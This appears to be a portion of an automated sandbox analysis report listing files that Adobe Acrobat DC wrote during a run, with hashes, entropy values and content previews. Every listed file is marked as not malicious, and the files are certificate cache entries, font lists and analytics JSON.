Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7282048283587708
Encrypted:	false
SSDEEP:	3:kkFkl8SuGDtfllXlE/HT8k/p7vNNX8RolJuRdxLlGB9lQRYwpDdt:kKl9GDeT82p7VNMa8RdWBwRd
MD5:	51D7A9EE7C7A70DFFBFD751E5FEDD83A
SHA1:	6E444CA1934457896F5722257E52430EDBC4E700
SHA-256:	3BA04C07104B6B5FB9598F5890A64DF0A1AEFE94A0363F49F44F2CDB0F3B23CA
SHA-512:	AC3E9CFA92CCB204F00F9E76DF3A76D3EA2BFF6801031324E125AB0DD8AC5BA40FC5BEB4349BF5DF6FE948CF939E885552135F7D0617F9F227A3CB8F167F11B0
Malicious:	false
Preview:	p...... .........w.4.c..(....................................................... ..........W...................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.1159790350223777
Encrypted:	false
SSDEEP:	6:kK/cWl/L9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:Xci/iDnLNkPlE99SNxAhUe/3
MD5:	BF5E83FD6FD4897103750AC0387F19AA
SHA1:	D0CBB81129975BD6D25ED74486FDEB1FB38652CD
SHA-256:	CD5F614ADB74EC225555BCB07A92DDC6D78379CBC21374749FE06148A3AD4A3B
SHA-512:	264791AA110E96E9D03F8CEC43896979164CCADF68DB2A255AFE866D053E17C72547CE5E1F8C11BA24EE6E26D47634AAEB32D1047A458949253A4D72294EBC5D
Malicious:	false
Preview:	p...... ..........pG.c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7476

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7476

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.336728482355796
Encrypted:	false
SSDEEP:	6:YEQXJ2HXflw32LJn2vB3/dVlPIHAR0Y2qoAvJM3g98kUwPeUkwRe9:YvXKXfxh2vR/ZwHAKZGMbLUkee9
MD5:	0DD357666756345E4093B70D5DE94F2C
SHA1:	2A05EC06CAC1D5484C9B21281D87714D12872AD7
SHA-256:	D75064C15DD518C18BC08691AA95676D9A5FA678E48516902C28EAE77C88F08F
SHA-512:	34B0C1A6B0394A79E30C0C1A28404F933EEE029779856363242884680D592F3E13874057655472D0BAC688C85294F750DCEB2AF125276AE3155A2CFB18D02CAE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"11d0903f-4432-4a80-89c3-058fee2cdfe6","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736736720376,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.2697663646980795
Encrypted:	false
SSDEEP:	6:YEQXJ2HXflw32LJn2vB3/dVlPIHAR0Y2qoAvJfBoTfXpnrPeUkwRe9:YvXKXfxh2vR/ZwHAKZGWTfXcUkee9
MD5:	2B7E148683C1C0EE68D1CCFC8B6169C9
SHA1:	9AF51E82AF06DDB0002ED15C264FD9C35AF08A73
SHA-256:	6C384BFC11604041624B468A03E6D03DA225394A4AADEC74010E5FC0F87DB875
SHA-512:	543340790BBC9E330BA090E818B701A1D830EC1E85CEFA759EB91639BBD78C82495738670AF5938366C16278331CA9D84E83392ECF518D291B86FC6B3A371451
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"11d0903f-4432-4a80-89c3-058fee2cdfe6","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736736720376,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.248587439743678
Encrypted:	false
SSDEEP:	6:YEQXJ2HXflw32LJn2vB3/dVlPIHAR0Y2qoAvJfBD2G6UpnrPeUkwRe9:YvXKXfxh2vR/ZwHAKZGR22cUkee9
MD5:	AA88EB5A0C99E4CC9E12F2E790E29BDD
SHA1:	06D72B6D8169E91E9E7B2363C318E9C854609933
SHA-256:	7400F9631AE3A69BE48FF9AB3C74B7864B00CE843947B7C2AAE856347251B9A3
SHA-512:	7C7E1D97A6F974968E1825A2C0DB8655F4C95CDC67AA9B8767E8116DD71558FD8C2472FB92459E3822CF358C4727C331A15EC3D97BA864674B815EFAF1D4DA73
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"11d0903f-4432-4a80-89c3-058fee2cdfe6","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736736720376,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.312742470867359
Encrypted:	false
SSDEEP:	6:YEQXJ2HXflw32LJn2vB3/dVlPIHAR0Y2qoAvJfPmwrPeUkwRe9:YvXKXfxh2vR/ZwHAKZGH56Ukee9
MD5:	67020C288EE2C75DD30D67125DCD0DA1
SHA1:	F34EC5B779E0EE51B083F65DF197480DF05A6FCE
SHA-256:	889B63081F3C68737FA0ECEF07E1D495562B016BF8232524AA73E314968AD89C
SHA-512:	48A2945FF9D293E1263759D761C6BBD5BE6AEF71889DF43324EE29B0C59F4EEBC302D5745AE5DA736A2DAA54B146F0D6CA2F8E26F2F3DABDA6C5EC34A3E9C097
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"11d0903f-4432-4a80-89c3-058fee2cdfe6","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736736720376,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.688805268291992
Encrypted:	false
SSDEEP:	24:Yv6Xfxh2JhHpLgE9cQx8LennAvzBvkn0RCmK8czOCCSP:Yv6xsJhHhgy6SAFv5Ah8cv/P
MD5:	D0993C8C0656429AA8AEC597B67012F7
SHA1:	A12814AC9CEF33C601FDF261464E8881500C199D
SHA-256:	3C72D2CB012934A41C9B79DBECB62B658BFA780D6E4E6864F2D3D08D313B4B3E
SHA-512:	2B13196DEB62B3344F326EDA10BEA2117ED910F0305AAE27CD44556CA37221AB9272F037584EA11A266DB96864BC4423380C14F234EF92E029D31F3A8B5970C7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"11d0903f-4432-4a80-89c3-058fee2cdfe6","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736736720376,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.260167663976482
Encrypted:	false
SSDEEP:	6:YEQXJ2HXflw32LJn2vB3/dVlPIHAR0Y2qoAvJf8dPeUkwRe9:YvXKXfxh2vR/ZwHAKZGU8Ukee9
MD5:	F0B9B7B6AE86E9483F18D5F7F30D48A0
SHA1:	14CBCE6A578F97C5651B8AEAE777B801750632DE
SHA-256:	9F32B824161D394FF8B80CA3914B2AE4EB49EB50BD850B69DB6F43D149240EA4
SHA-512:	149025ED1CC816761C3EDEA10A091210826DBA73EADBF95B9F822996ABC50A4EB0320D001B0AFCAC0DDE38B48F4CD11A1FA28EAEC2BAD3905AC8033F6DB16442
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"11d0903f-4432-4a80-89c3-058fee2cdfe6","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736736720376,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.258381444441534
Encrypted:	false
SSDEEP:	6:YEQXJ2HXflw32LJn2vB3/dVlPIHAR0Y2qoAvJfQ1rPeUkwRe9:YvXKXfxh2vR/ZwHAKZGY16Ukee9
MD5:	2D5BD04686A7F2ECAB2702A21F18D57C
SHA1:	73CD72A7A149B96817F6501A8DEA5F48A16BB8F0
SHA-256:	3CF87106AC168B7A978D0A437FDD574CFB36DA0B90F5E6B4970C898AE919AA9E
SHA-512:	AADF9E2A3A88D0FD3AF12F485B69C9266C1CC60E6CEA1DDD0F3DF3E8F36F714856D86E1BC2C6F4DA388DCA0C206A8A044518A6A780A02B9DB53460C98F855F50
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"11d0903f-4432-4a80-89c3-058fee2cdfe6","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736736720376,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.274635240365198
Encrypted:	false
SSDEEP:	6:YEQXJ2HXflw32LJn2vB3/dVlPIHAR0Y2qoAvJfFldPeUkwRe9:YvXKXfxh2vR/ZwHAKZGz8Ukee9
MD5:	572064D2E32F05A305DE1571968AC6EB
SHA1:	8F6DD2C7E6E794E1C2A17540D48547B0065C52C6
SHA-256:	35D1E20CAD833A3C325996CACC352B9EFC583DDDFEA3B279AF5C3D7E9C010486
SHA-512:	D4CB799D5873E868A44936C729C2900C48BE976BD9BC9AC7C9DDC158AF0F36599D4FE58BB3E47A2DA657D24B536DF68940DCE6464AC3117FA43B570CE5FDC403
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"11d0903f-4432-4a80-89c3-058fee2cdfe6","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736736720376,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.289013474325222
Encrypted:	false
SSDEEP:	6:YEQXJ2HXflw32LJn2vB3/dVlPIHAR0Y2qoAvJfzdPeUkwRe9:YvXKXfxh2vR/ZwHAKZGb8Ukee9
MD5:	6AFE7ED2D6C5B1AB1A96C4EC26427A97
SHA1:	DFB24B15D112B946AB1B61D5B1A8F7ABBE8440BB
SHA-256:	E176DFCE0FF067FE2E63E981A92AB13EA6EE1008E7E48F1B9E7712CBAEF6A4A0
SHA-512:	F3B0304E830CBE714B3DC7832B85F2437F645AF7DBF6C9A924CAA002FCCF1F749E236929124C62B0783CE275AA1A8301923008CBFAEDBD407A17FEBFC02CB01A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"11d0903f-4432-4a80-89c3-058fee2cdfe6","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736736720376,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.268733292174998
Encrypted:	false
SSDEEP:	6:YEQXJ2HXflw32LJn2vB3/dVlPIHAR0Y2qoAvJfYdPeUkwRe9:YvXKXfxh2vR/ZwHAKZGg8Ukee9
MD5:	3F5D3D2AA7E0D379E743B319A3E37966
SHA1:	0BBD0ACCE159A5F81B6462BBF0CE88CC906FC5CE
SHA-256:	C519BEF71925F53A31714C12510FBCBB1D8DA214D159E79D024CDCF8C7A32840
